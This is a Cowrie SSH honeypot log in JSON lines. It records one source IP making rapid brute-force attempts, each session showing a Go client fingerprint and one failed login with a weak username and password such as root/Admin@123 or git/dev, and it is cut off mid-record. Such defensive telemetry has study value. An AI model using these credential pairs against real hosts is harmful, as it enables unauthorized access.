{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:33.100864Z","src_ip":"45.156.87.253","session":"7b3077cb6f15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123","message":"login attempt [root/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:33.345187Z","src_ip":"45.156.87.253","session":"7b3077cb6f15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:34.428602Z","src_ip":"45.156.87.253","session":"7b3077cb6f15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":44466,"dst_ip":"10.17.0.5","dst_port":22,"session":"90b905c48286","protocol":"ssh","message":"New connection: 45.156.87.253:44466 (10.17.0.5:22) [session: 90b905c48286]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:36.385750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:36.389018Z","src_ip":"45.156.87.253","session":"90b905c48286","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:36.470174Z","src_ip":"45.156.87.253","session":"90b905c48286","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"root","message":"login attempt [server/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:36.714097Z","src_ip":"45.156.87.253","session":"90b905c48286","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:37.805998Z","src_ip":"45.156.87.253","session":"90b905c48286","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":57662,"dst_ip":"10.17.0.5","dst_port":22,"session":"c993a8a7e293","protocol":"ssh","message":"New connection: 45.156.87.253:57662 (10.17.0.5:22) [session: c993a8a7e293]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:39.644060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:39.647940Z","src_ip":"45.156.87.253","session":"c993a8a7e293","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:39.729922Z","src_ip":"45.156.87.253","session":"c993a8a7e293","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"1234","message":"login attempt [cloud/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:39.987249Z","src_ip":"45.156.87.253","session":"c993a8a7e293","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:41.075951Z","src_ip":"45.156.87.253","session":"c993a8a7e293","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":57674,"dst_ip":"10.17.0.5","dst_port":22,"session":"8314e0b987c7","protocol":"ssh","message":"New connection: 45.156.87.253:57674 (10.17.0.5:22) [session: 8314e0b987c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:43.107505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:43.110627Z","src_ip":"45.156.87.253","session":"8314e0b987c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:43.190783Z","src_ip":"45.156.87.253","session":"8314e0b987c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"12345","message":"login attempt [appuser/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:43.431278Z","src_ip":"45.156.87.253","session":"8314e0b987c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:44.513735Z","src_ip":"45.156.87.253","session":"8314e0b987c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":57684,"dst_ip":"10.17.0.5","dst_port":22,"session":"954fd59914e5","protocol":"ssh","message":"New connection: 45.156.87.253:57684 (10.17.0.5:22) [session: 954fd59914e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:46.411681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:46.415053Z","src_ip":"45.156.87.253","session":"954fd59914e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:46.495722Z","src_ip":"45.156.87.253","session":"954fd59914e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"12345678","message":"login attempt [alex/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:46.742787Z","src_ip":"45.156.87.253","session":"954fd59914e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:47.855164Z","src_ip":"45.156.87.253","session":"954fd59914e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":58426,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3f8f62e656e","protocol":"ssh","message":"New connection: 45.156.87.253:58426 (10.17.0.5:22) [session: e3f8f62e656e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:49.715838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:49.719683Z","src_ip":"45.156.87.253","session":"e3f8f62e656e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:49.800336Z","src_ip":"45.156.87.253","session":"e3f8f62e656e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"csgo","password":"csgo","message":"login attempt [csgo/csgo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:50.148098Z","src_ip":"45.156.87.253","session":"e3f8f62e656e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:51.231875Z","src_ip":"45.156.87.253","session":"e3f8f62e656e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":58428,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab8d68a0546a","protocol":"ssh","message":"New connection: 45.156.87.253:58428 (10.17.0.5:22) [session: ab8d68a0546a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:53.097502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:53.100742Z","src_ip":"45.156.87.253","session":"ab8d68a0546a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:53.182452Z","src_ip":"45.156.87.253","session":"ab8d68a0546a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"dev","message":"login attempt [git/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:53.423330Z","src_ip":"45.156.87.253","session":"ab8d68a0546a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:54.506620Z","src_ip":"45.156.87.253","session":"ab8d68a0546a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":58434,"dst_ip":"10.17.0.5","dst_port":22,"session":"04dc93bac3a8","protocol":"ssh","message":"New connection: 45.156.87.253:58434 (10.17.0.5:22) [session: 04dc93bac3a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:56.421222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:56.424963Z","src_ip":"45.156.87.253","session":"04dc93bac3a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:56.504436Z","src_ip":"45.156.87.253","session":"04dc93bac3a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"abc123","message":"login attempt [sam/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:56.744974Z","src_ip":"45.156.87.253","session":"04dc93bac3a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:57.945966Z","src_ip":"45.156.87.253","session":"04dc93bac3a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":57100,"dst_ip":"10.17.0.5","dst_port":22,"session":"97f110b895ff","protocol":"ssh","message":"New connection: 45.156.87.253:57100 (10.17.0.5:22) [session: 97f110b895ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:59.814294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:59.822872Z","src_ip":"45.156.87.253","session":"97f110b895ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 